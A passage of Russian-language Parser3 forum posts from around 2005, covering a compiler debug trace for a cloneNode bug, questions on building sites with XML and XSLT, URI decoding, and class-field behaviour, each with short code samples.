[Fri Dec 16 16:41:08 2005] [3804] <-returned\
[Fri Dec 16 16:41:08 2005] [3804] 4:CONSTRUCT_VALUE\
[Fri Dec 16 16:41:08 2005] [3804] 1:STRING__WRITE\
[Fri Dec 16 16:41:08 2005] [3804]  \"|\"\
[Fri Dec 16 16:41:08 2005] [3804] 1:WITH_ROOT\
[Fri Dec 16 16:41:08 2005] [3804] 2:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"cloned\" string\
[Fri Dec 16 16:41:08 2005] [3804] 3:OBJECT_POOL\
[Fri Dec 16 16:41:08 2005] [3804] source----------------------------|\
[Fri Dec 16 16:41:08 2005] [3804] WITH_READ\
[Fri Dec 16 16:41:08 2005] [3804] VALUE \"xdoc\" string\
[Fri Dec 16 16:41:08 2005] [3804] GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] VALUE \"firstChild\" string\
[Fri Dec 16 16:41:08 2005] [3804] GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] VALUE \"cloneNode\" string\
[Fri Dec 16 16:41:08 2005] [3804] GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] CALL__WRITE\
[Fri Dec 16 16:41:08 2005] [3804] execution-------------------------|\
[Fri Dec 16 16:41:08 2005] [3804] 3:WITH_READ\
[Fri Dec 16 16:41:08 2005] [3804] 4:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"xdoc\" string\
[Fri Dec 16 16:41:08 2005] [3804] 5:GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] 4:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"firstChild\" string\
[Fri Dec 16 16:41:08 2005] [3804] 5:GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] 4:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"cloneNode\" string\
[Fri Dec 16 16:41:08 2005] [3804] 5:GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] 4:CALL__WRITE\
[Fri Dec 16 16:41:08 2005] [3804]  (0)|\
[Fri Dec 16 16:41:08 2005] [3804] ->|\
[Fri Dec 16 16:41:08 2005] [3804] : Y:/parser3project/parser3/www/htdocs/_bug.html(3:26): 'cloneNode' native method of xnode (xnode) accepts minimum 1 parameter(s) (0 present) [parser.runtime]\
[/code]\
\
тут видно, что действительно (false) не попал в байт-код, т.е. даже не скомпилился.\
\
значит всё-таки что-то переоптимизировал в компиляторе, и надо смотреть подробности компиляции.\
\
включаем \
[code]\
// parser3/src/main/compile.C\
yydebug=1;\
[/code]\
\
видим…\
\
[code]\
Starting parse\
Entering state 0\
Reading a token: Next token is 64 ('@')\
Shifting token 64 ('@'), Entering state 2\
Reading a token: Next token is 258 (STRING \"main\")\
Shifting token 258 (STRING), Entering state 21\
Reading a token: Next token is 91 ('[')\
Shifting token 91 ('['), Entering state 53\
Reading a token: Next token is 93 (']')\
Reducing via rule 171 (line 638),  -> empty\
state stack now 0 2 21 53\
Entering state 98\
Reducing via rule 21 (line 261), empty  -> maybe_strings\
state stack now 0 2 21 53\
Entering state 96\
Next token is 93 (']')\
Shifting token 93 (']'), Entering state 135\
Reducing via rule 20 (line 260), '[' maybe_strings ']'  -> bracketed_maybe_strin\
gs\
state stack now 0 2 21\
Entering state 54\
Reading a token: Next token is 10 ('\\n')\
Reducing via rule 171 (line 638),  -> empty\
state stack now 0 2 21 54\
Entering state 101\
Reducing via rule 18 (line 259), empty  -> maybe_bracketed_strings\
state stack now 0 2 21 54\
Entering state 99\
Next token is 10 ('\\n')\
Reducing via rule 171 (line 638),  -> empty\
state stack now 0 2 21 54 99\
Entering state 139\
Reducing via rule 25 (line 264), empty  -> maybe_comment\
state stack now 0 2 21 54 99\
Entering state 138\
Next token is 10 ('\\n')\
Shifting token 10 ('\\n'), Entering state 199\
Reducing via rule 16 (line 219),  -> @1\
state stack now 0 2 21 54 99 138 199\
Entering state 242\
Reading a token: Next token is 36 ('$')\
Shifting token 36 ('$'), Entering state 3\
Reading a token: Next token is 258 (STRING \"xdoc\")\
Shifting token 258 (STRING), Entering state 22\
Reading a token: Next token is 91 ('[')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 3\
Entering state 42\
Next token is 91 ('[')\
Reducing via rule 96 (line 478), name_expr_value  -> name_expr_dive_code\
state stack now 0 2 21 54 99 138 199 242 3\
Entering state 37\
Reducing via rule 51 (line 324), name_expr_dive_code  -> name_expr_wdive_root\
state stack now 0 2 21 54 99 138 199 242 3\
Entering state 34\
Reducing via rule 48 (line 320), name_expr_wdive_root  -> name_expr_wdive\
state stack now 0 2 21 54 99 138 199 242 3\
Entering state 33\
Next token is 91 ('[')\
Shifting token 91 ('['), Entering state 72\
Reducing via rule 57 (line 353),  -> @2\
state stack now 0 2 21 54 99 138 199 242 3 33 72\
Entering state 107\
Reading a token: Next token is 94 ('^')\
Shifting token 94 ('^'), Entering state 4\
Reducing via rule 70 (line 400),  -> @4\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4\
Entering state 49\
Reading a token: Next token is 258 (STRING \"xdoc\")\
Shifting token 258 (STRING), Entering state 22\
Reading a token: Next token is 58 (':')\
Shifting token 58 (':'), Entering state 57\
Reducing via rule 119 (line 542), STRING ':'  -> class_static_prefix\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 47\
Reading a token: Next token is 58 (':')\
Shifting token 58 (':'), Entering state 86\
Reducing via rule 120 (line 554), class_static_prefix ':'  -> class_constructor_\
prefix\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 48\
Reducing via rule 118 (line 540), class_constructor_prefix  -> class_prefix\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 66\
Reading a token: Next token is 258 (STRING \"create\")\
Shifting token 258 (STRING), Entering state 79\
Reading a token: Next token is 91 ('[')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 66\
Entering state 65\
Next token is 91 ('[')\
Reducing via rule 102 (line 490), name_expr_value  -> name_advance2\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 66\
Entering state 41\
Reducing via rule 45 (line 312), name_advance2  -> name_without_curly_rdive_code\
\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 66\
Entering state 84\
Reducing via rule 44 (line 311), class_prefix name_without_curly_rdive_code  ->\
name_without_curly_rdive_class\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 31\
Reducing via rule 42 (line 288), name_without_curly_rdive_class  -> name_without\
_curly_rdive\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 87\
Reducing via rule 73 (line 419), name_without_curly_rdive  -> call_name\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49\
Entering state 88\
Reducing via rule 71 (line 403),  -> @5\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88\
Entering state 131\
Next token is 91 ('[')\
Shifting token 91 ('['), Entering state 190\
Reducing via rule 79 (line 427),  -> @6\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131 190\
Entering state 233\
Reading a token: Next token is 258 (STRING \"root\")\
Shifting token 258 (STRING), Entering state 244\
Reading a token: Next token is 93 (']')\
Reducing via rule 94 (line 472), STRING  -> code_param_value\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131 190 233\
Entering state 248\
Reducing via rule 90 (line 447), code_param_value  -> store_code_param_part\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131 190 233\
Entering state 247\
Reducing via rule 84 (line 435), store_code_param_part  -> store_code_param_part\
s\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131 190 233\
Entering state 246\
Next token is 93 (']')\
Reducing via rule 80 (line 430),  -> @7\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131 190 233 246\
Entering state 256\
Next token is 93 (']')\
Shifting token 93 (']'), Entering state 260\
Reducing via rule 81 (line 432), '[' @6 store_code_param_parts @7 ']'  -> store_\
square_param\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131\
Entering state 195\
Reducing via rule 76 (line 422), store_square_param  -> store_param\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131\
Entering state 194\
Reducing via rule 74 (line 421), store_param  -> store_params\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 4 49 88 131\
Entering state 193\
Reading a token: Next token is 257 (EON)\
Shifting token 257 (EON), Entering state 240\
Reducing via rule 72 (line 406), '^' @4 call_name @5 store_params EON  -> call_v\
alue\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 18\
Reducing via rule 69 (line 394), call_value  -> call\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 17\
Reducing via rule 35 (line 272), call  -> action\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 143\
Reading a token: Next token is 93 (']')\
Reducing via rule 67 (line 390), action  -> codes__excluding_sole_str_literal\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 147\
Reducing via rule 66 (line 389), codes__excluding_sole_str_literal  -> construct\
or_code\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 146\
Reducing via rule 65 (line 383), constructor_code  -> constructor_code_value\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 145\
Reducing via rule 64 (line 381), constructor_code_value  -> any_constructor_code\
_value\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107\
Entering state 144\
Reducing via rule 58 (line 356),  -> @3\
state stack now 0 2 21 54 99 138 199 242 3 33 72 107 144\
Entering state 202\
Next token is 93 (']')\
Shifting token 93 (']'), Entering state 243\
Reducing via rule 59 (line 358), '[' @2 any_constructor_code_value @3 ']'  -> co\
nstruct_square\
state stack now 0 2 21 54 99 138 199 242 3 33\
Entering state 76\
Reducing via rule 54 (line 348), construct_square  -> construct\
state stack now 0 2 21 54 99 138 199 242 3 33\
Entering state 75\
Reducing via rule 47 (line 316), '$' name_expr_wdive construct  -> put\
state stack now 0 2 21 54 99 138 199 242\
Entering state 16\
Reducing via rule 34 (line 272), put  -> action\
state stack now 0 2 21 54 99 138 199 242\
Entering state 13\
Reducing via rule 32 (line 271), action  -> code\
state stack now 0 2 21 54 99 138 199 242\
Entering state 12\
Reducing via rule 29 (line 270), code  -> codes\
state stack now 0 2 21 54 99 138 199 242\
Entering state 11\
Reading a token: Next token is 258 (STRING \"\
\")\
Shifting token 258 (STRING), Entering state 1\
Reducing via rule 167 (line 629), STRING  -> write_string\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 19\
Reducing via rule 31 (line 271), write_string  -> code\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 51\
Reducing via rule 30 (line 270), codes code  -> codes\
state stack now 0 2 21 54 99 138 199 242\
Entering state 11\
Reading a token: Next token is 36 ('$')\
Shifting token 36 ('$'), Entering state 3\
Reading a token: Next token is 258 (STRING \"cloned\")\
Shifting token 258 (STRING), Entering state 22\
Reading a token: Next token is 91 ('[')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 11 3\
Entering state 42\
Next token is 91 ('[')\
Reducing via rule 96 (line 478), name_expr_value  -> name_expr_dive_code\
state stack now 0 2 21 54 99 138 199 242 11 3\
Entering state 37\
Reducing via rule 51 (line 324), name_expr_dive_code  -> name_expr_wdive_root\
state stack now 0 2 21 54 99 138 199 242 11 3\
Entering state 34\
Reducing via rule 48 (line 320), name_expr_wdive_root  -> name_expr_wdive\
state stack now 0 2 21 54 99 138 199 242 11 3\
Entering state 33\
Next token is 91 ('[')\
Shifting token 91 ('['), Entering state 72\
Reducing via rule 57 (line 353),  -> @2\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72\
Entering state 107\
Reading a token: Next token is 94 ('^')\
Shifting token 94 ('^'), Entering state 4\
Reducing via rule 70 (line 400),  -> @4\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4\
Entering state 49\
Reading a token: Next token is 258 (STRING \"xdoc\")\
Shifting token 258 (STRING), Entering state 22\
Reading a token: Next token is 46 ('.')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 65\
Next token is 46 ('.')\
Reducing via rule 101 (line 482), name_expr_value  -> name_advance1\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 40\
Next token is 46 ('.')\
Shifting token 46 ('.'), Entering state 83\
Reducing via rule 100 (line 481), name_advance1 '.'  -> name_step\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 39\
Reducing via rule 98 (line 480), name_step  -> name_path\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 64\
Reading a token: Next token is 258 (STRING \"firstChild\")\
Shifting token 258 (STRING), Entering state 79\
Reading a token: Next token is 46 ('.')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 64\
Entering state 65\
Next token is 46 ('.')\
Reducing via rule 101 (line 482), name_expr_value  -> name_advance1\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 64\
Entering state 40\
Next token is 46 ('.')\
Shifting token 46 ('.'), Entering state 83\
Reducing via rule 100 (line 481), name_advance1 '.'  -> name_step\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 64\
Entering state 80\
Reducing via rule 99 (line 480), name_path name_step  -> name_path\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 64\
Reading a token: Next token is 258 (STRING \"cloneNode\")\
Shifting token 258 (STRING), Entering state 79\
Reading a token: Next token is 40 ('(')\
Reducing via rule 104 (line 497), STRING  -> name_expr_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 64\
Entering state 65\
Next token is 40 ('(')\
Reducing via rule 102 (line 490), name_expr_value  -> name_advance2\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 64\
Entering state 81\
Reducing via rule 46 (line 312), name_path name_advance2  -> name_without_curly_\
rdive_code\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 32\
Reducing via rule 43 (line 289), name_without_curly_rdive_code  -> name_without_\
curly_rdive_read\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 30\
Reducing via rule 41 (line 286), name_without_curly_rdive_read  -> name_without_\
curly_rdive\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 87\
Reducing via rule 73 (line 419), name_without_curly_rdive  -> call_name\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49\
Entering state 88\
Reducing via rule 71 (line 403),  -> @5\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88\
Entering state 131\
Next token is 40 ('(')\
Shifting token 40 ('('), Entering state 192\
Reading a token: Next token is 287 (\"false\")\
Shifting token 287 (\"false\"), Entering state 115\
Reducing via rule 170 (line 636), \"false\"  -> false_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131 192\
Entering state 130\
Reducing via rule 124 (line 570), false_value  -> expr\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131 192\
Entering state 127\
Reading a token: Next token is 41 (')')\
Reducing via rule 121 (line 566), expr  -> expr_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131 192\
Entering state 239\
Reducing via rule 91 (line 451), expr_value  -> store_expr_param_part\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131 192\
Entering state 238\
Reducing via rule 86 (line 439), store_expr_param_part  -> store_expr_param_part\
s\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131 192\
Entering state 237\
Next token is 41 (')')\
Shifting token 41 (')'), Entering state 253\
Reducing via rule 82 (line 433), '(' store_expr_param_parts ')'  -> store_round_\
param\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131\
Entering state 196\
Reducing via rule 77 (line 424), store_round_param  -> store_param\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131\
Entering state 194\
Reducing via rule 74 (line 421), store_param  -> store_params\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 4 49 88 131\
Entering state 193\
Reading a token: Next token is 257 (EON)\
Shifting token 257 (EON), Entering state 240\
Reducing via rule 72 (line 406), '^' @4 call_name @5 store_params EON  -> call_v\
alue\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 18\
Reducing via rule 69 (line 394), call_value  -> call\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 17\
Reducing via rule 35 (line 272), call  -> action\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 143\
Reading a token: Next token is 93 (']')\
Reducing via rule 67 (line 390), action  -> codes__excluding_sole_str_literal\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 147\
Reducing via rule 66 (line 389), codes__excluding_sole_str_literal  -> construct\
or_code\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 146\
Reducing via rule 65 (line 383), constructor_code  -> constructor_code_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 145\
Reducing via rule 64 (line 381), constructor_code_value  -> any_constructor_code\
_value\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107\
Entering state 144\
Reducing via rule 58 (line 356),  -> @3\
state stack now 0 2 21 54 99 138 199 242 11 3 33 72 107 144\
Entering state 202\
Next token is 93 (']')\
Shifting token 93 (']'), Entering state 243\
Reducing via rule 59 (line 358), '[' @2 any_constructor_code_value @3 ']'  -> co\
nstruct_square\
state stack now 0 2 21 54 99 138 199 242 11 3 33\
Entering state 76\
Reducing via rule 54 (line 348), construct_square  -> construct\
state stack now 0 2 21 54 99 138 199 242 11 3 33\
Entering state 75\
Reducing via rule 47 (line 316), '$' name_expr_wdive construct  -> put\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 16\
Reducing via rule 34 (line 272), put  -> action\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 13\
Reducing via rule 32 (line 271), action  -> code\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 51\
Reducing via rule 30 (line 270), codes code  -> codes\
state stack now 0 2 21 54 99 138 199 242\
Entering state 11\
Reading a token: Next token is 258 (STRING \"\
OK!\")\
Shifting token 258 (STRING), Entering state 1\
Reducing via rule 167 (line 629), STRING  -> write_string\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 19\
Reducing via rule 31 (line 271), write_string  -> code\
state stack now 0 2 21 54 99 138 199 242 11\
Entering state 51\
Reducing via rule 30 (line 270), codes code  -> codes\
state stack now 0 2 21 54 99 138 199 242\
Entering state 11\
Reading a token: Now at end of input.\
Reducing via rule 28 (line 268), codes  -> maybe_codes\
state stack now 0 2 21 54 99 138 199 242\
Entering state 254\
Reducing via rule 17 (line 254), '@' STRING bracketed_maybe_strings maybe_bracke\
ted_strings maybe_comment '\\n' @1 maybe_codes  -> code_method\
state stack now 0\
Entering state 9\
Reducing via rule 7 (line 140), code_method  -> method\
state stack now 0\
Entering state 7\
Reducing via rule 3 (line 137), method  -> methods\
state stack now 0\
Entering state 5\
Now at end of input.\
Reducing via rule 2 (line 135), methods  -> all\
state stack now 0\
Entering state 261\
Now at end of input.\
Shifting token 0 ($), Entering state 262\
Now at end of input.\
: Y:/parser3project/parser3/www/htdocs/_bug.html(3:26): 'cloneNode' native metho\
d of xnode (xnode) accepts minimum 1 parameter(s) (0 present) [parser.runtime]De\
tected memory leaks!\
Dumping objects ->\
{49} normal block at 0x003F59E0, 8 bytes long.\
 Data: <  ?     > 00 00 3F 00 00 00 00 00\
Object dump complete.\
Press any key to continue\
[/code]\
\
...сижу прямо сейчас, анализирую."
"48052","со временем в 3.2.0 и 3.1.5 выложу."
"48054","Господа и дамы. Не могу въехать чисто организационно, как изобразить сайт на xml+parser. Никаких технических вопросов, только организация процесса:\
\
[b]Как было раньше:[/b]\
Есть класс [i]user.p[/i]\
В нем всякие разные функции (методы?), которые делают какое-то определенное действие и выводят результат. Например:\
[code]\
@register_form[]\
#...lalala...\
Регистрация. Заполните все поля\
#...form...\
\
@register_do[]\
#...lalala...\
Регистрация выполнена\
#...lalala...\
[/code]\
\
В файле index.html стоит обработчик действий, который в зависимости от значения переменной $mode вызывает определенный метод:\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
	<title></title>\
	<link rel=\"STYLESHEET\" type=\"text/css\" href=\"/style.css\">\
</head>\
<body>\
<table align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\
<tr>\
	<td width=\"80%\" valign=\"top\">\
		^switch[$MAIN:mode]{\
			^case[register]{^user:register_form[]}\
			^case[register_do]{^user:register_do[]}\
			^case[DEFAULT]{\
				Хелло! <a href=\"?mode=register\">Зарегистрируйся!</a><br>\
			}\
		}\
	</td>\
	<td width=\"20%\" valign=\"top\">^user:menu[]</td>\
</tr>\
</table>\
</body>\
</html>\
[/code]\
\
Вроде было всё нормально, но приходилось извращаться со всякими штуками, типа <title></title> (как туда вставить заголовок, в зависимости от обрабатываемого метода). Можно, конечно, между <title> и </title> поставить тоже ^switch, который в зависимости от переменной $mode, будет печатать \"Заполните форму\" или \"Введите пароль\" или еще что-то, но это не то.\
\
[b]Как-то можно решить вопрос, чтобы где-то среди методов генерилась страничка полностью?[/b] Или это как-то с помощьюь xml/xlst делать? Я, просто, в замешательстве, в голову ничего не лезет. Вот, например, как сделан этот сайт (parser.ru)? Ведь, вряд ли таким образом, как я свой описал?\
Подскажите, если не жалко. Спасибо."
"48055","Как из XML получить HTML ?\
Или как HTML связывается с XML ? \
хотябы ткните носом, где это прочитать, поиск по Гуглу ни чего не дал. Описание XML есть, но посититель получает страничку в HTML."
"48056","работа со связкой xml/xsl вместо html выглядит несколько иначе.\
\
сначала вы формируете xml (парсером например). данные в xml могут следовать в произвольном порядке (не... естественно если это не параграфы с текстом). когда xml готов он трансформируется в html с помощью xslt шаблона. именно xslt шаблон формирует страницу. и уже при формировании <title/> он может слазить в любой элемент вашего xml-я чтобы достать нужный заголовок. не возникает ситуации когда нужно добавить в страницу какие-то данные, которые в данный момент ещё не обсчитаны, ибо когда xml готов, можете считать что все данные уже есть.\
\
но за все приходится платить: трансформация достаточно рессурсоемкая операция, но... очень удобно :)\
\
в результате упоминаемых вами проверок при формировании xml-я оказывается меньше. кроме того один раз написав код, выдающий xml можно лишь исправляя xslt шаблон делать сайты очень сильно различающиеся внешним видом.\
\
к примеру для вашего случая при формировании xml можно сделать так:\
[code]\
^switch[$MAIN:mode]{\
	^case[register]{\
		<body>^user:register_form[]</body>\
		<title>Регистрация<title>\
	}\
	^case[register_do]{\
		<body>^user:register_do[]</body>\
		<title>Регистрация<title>\
	}\
	^case[DEFAULT]{\
		<body>Хелло! <a href=\"?mode=register\">Зарегистрируйся!</a></body>\
		<title>bla-bla-bla<title>\
	}\
}\
[/code]\
а xml-ем потом найти <title/> и вывести куда следует.\
\
на этом сайте работает связка xml+xslt."
"48057","Делается XML, делаеться XSLT-файл. И с помоштб него уже все генерится."
"48058","Вот еще несколько вопросов:\
1. Я так понял, что у нас есть файл index.xml, где все эти методы обрабатываются? Т.е. идет файл index.xml:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<?xml-stylesheet type='text/xsl' href='xslt.xsl'?>\
<site>\
^switch[$MAIN:mode]{\
	^case[register]{\
		<body>^user:register_form[]</body>\
		<title>Регистрация<title>\
	}\
	^case[register_do]{\
		<body>^user:register_do[]</body>\
		<title>Регистрация<title>\
	}\
	^case[DEFAULT]{\
		<body>Хелло! <a href=\"?mode=register\">Зарегистрируйся!</a></body>\
		<title>bla-bla-bla<title>\
	}\
}\
</site>\
[/code]\
\
и отдельно идет файл xslt.xsl:\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
<xsl:template match=\"/site/\">\
...\
<title><xsl:value-of select=\"//title\"/></title>\
...\
<p><xsl:value-of select=\"//body\"/></p>\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
Я правильно понял? Я так уже пробовал делать: firefox ругается, а эксплорер работает нормально. Следовательно, нужно где-то в программе ставить ^документ.transform[шаблон]?"
"48059","создаете index.html и в нем делаете:\
1. загрузку xml и создание из него xdoc\
2. трансформацию полученного xdoc вашим шаблоном\
3. выдачу результата\
\
P.S. в принципе три файла не обязательно. вы можете не хранить xml отдельно, а формировать его в том-же index.html. ну а для начала, а также для того, чтобы играться с [url=\"http://www.raleigh.ru/XML/XSLTutorial/contents.htm\"]примерами[/url] - подойдет."
"48060","Правда он не работает нихрена..."
"48061","Вот если у меня работает файл index.html, в нем генерируется xml кусками (т.е. заголовок у всех одинаковый, только разные методы генерируют разное содержимое), то как потом обработать этот же полученный XML?\
Если только одним способом: каждый метод генерирует XML с нуля, начиная с заголовка и т.д.?\
Вот тут я въехать не могу. Если у меня index.html - рабочий файл:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<?xml-stylesheet type='text/xsl' href='xslt.xsl'?>\
<site>\
^switch[$MAIN:mode]{\
	^case[register]{\
		<body>^user:register_form[]</body>\
		<title>Регистрация<title>\
	}\
	^case[register_do]{\
		<body>^user:register_do[]</body>\
		<title>Регистрация<title>\
	}\
	^case[DEFAULT]{\
		<body>Хелло! <a href=\"?mode=register\">Зарегистрируйся!</a></body>\
		<title>bla-bla-bla<title>\
	}\
}\
</site>\
[/code]\
то как мне сделать так, чтобы он сам себя потом еще и трансформировал? Он же у нас не сохраняется никуда. Он вот - сгенерировался и ожидает своей участи."
"48062","Вот есть ^image.pixel(x;y) возвращает цвет пиксела. А в каком измерении этот цвет? И как его перевести в человеческий, типа #FFFFFF?"
"48064","Так ведь в том-то и дело, что загрузки нет. Есть рабочий файл index.xml, в нем работают все методы. В нем все происходит. \
[code]index.xml?mode=register[/code]\
Эта строка вызывает index.xml, в котором switch выполняет метод ^register_form[]. Результат:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<?xml-stylesheet type='text/xsl' href='xslt.xsl'?>\
<body>#...lalala...\
Регистрация. Заполните все поля\
#...form... (см. самое первое сообщение)\
</body>\
<title>Регистрация<title>\
[/code]\
\
Т.е. это дело - результат работы скрипта. И что теперь с ним можно сделать? Как его преобразовать с помощью XSLT??"
"48068","Молочка, Вам, Александр, надо за вредность выдавать, молочка..."
"48072","http://www.raleigh.ru/XML/XSLTutorial/contents.htm - примеры XSLT преобразований\
\
и http://xml.nsu.ru/ - в общем виде про XML/XSL/XPATH etc."
"48073","Метод @setExpireHeaders[date]:\
[code]\
^if($date is \"date\" || ($date is \"string\" && def $date)){\
	$_d[^date::create[$date]]\
}\
^if($_d && $_d < ^date::now(-7)){\
	$response:Last-Modified[$d]\
}{\
	$response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
	$response:cache-control[no-store, no-cache, must-revalidate, proxy-revalidate]\
	$response:pragma[no-cache]\
}\
[/code]\
\
Откуда берется $response:Last-Modified[[b]$d[/b]]"
"48075","Привет!! подскажите мне как сфсорматировать строку с текущим URI в котором пробелы. Есть ли какие-то решене высоково уровня или мне нужно создать соответственный метод переводения строки?\
\
на пример из http://localhost/space%20space я хочю выводить \"space space\".\
\
taint-ом и untaint-ом нельзя:\
[code]\
@main[]\
$howtaint[^table::create{type\
as-is\
file-spec\
uri\
http-header\
mail-header\
#sql\
js\
xml\
html\
optimized-as-is\
optimized-xml\
optimized-html}]\
\
<TABLE>\
^howtaint.menu{\
<TR>\
	<TD>^taint[$howtaint.type][$request:uri]</TD>\
	<TD>^untaint[$howtaint.type]{$request:uri}</TD>\
</TR>\
}\
</TABLE>\
[/code]"
"48076","Я в ООП человек темный, но меня мучает вопрос: почему конструктор изменяет поля в контексте всего класса? Это так надо?\
\
Сделал я класс:\
\
[code]\
@CLASS\
MYCLASS\
\
\
@auto[]\
	$x[]	\
#/auto\
\
@Create[param]\
	$x[$param]\
#/Create\
\
\
@PrintX[]\
	$x\
#/PrintX\
[/code]\
\
Делаю экземпляры\
\
[code]\
@USE\
/test/myclass.p\
\
@main[][_instance1;_instance2]\
	$_instance1[^MYCLASS::Create[a]]\
	$_instance2[^MYCLASS::Create[b]]\
	\
	^_instance1.PrintX[]\
	^_instance2.PrintX[]\
#/main\
[/code]\
\
В результате получаю b b\
\
Может я не там храню в классе $x ?\
\
Ведь не происходит же такого, когда я создаю экземпляры класса date, например, с разными параметрами в конструкторе."
"48078","Без этого кода пробовал?\
@auto[]\
	$x[]"
"48079","когда он в \"space space\" то ^something.save[$request:uri/file] создает файль в \"space%20space\"\
\
посмнтри конкретный пример\
(auto.p)\
[code]\
@main[]\
<B>^A[..]</B><BR>\
$index[^#40donothing^[^]^#0A^#0A]\
^tree[$request:uri]\
\
@tree[directory][list]\
^if(!(-f \"${directory}index.phtml\")){^index.save[${directory}index.phtml]}\
$list[^ls[$directory]]\
<UL>\
^list.directories.menu{\
	<LI><B>^A[$list.directories.name]</B>\
		^if(^list.directories.count[] != 0){\
			^tree[$list.directories.name/]\
		}\
	</LI>\
}\
^list.files.menu{<Li>^A[$list.files.name]</LI>}\
</UL>\
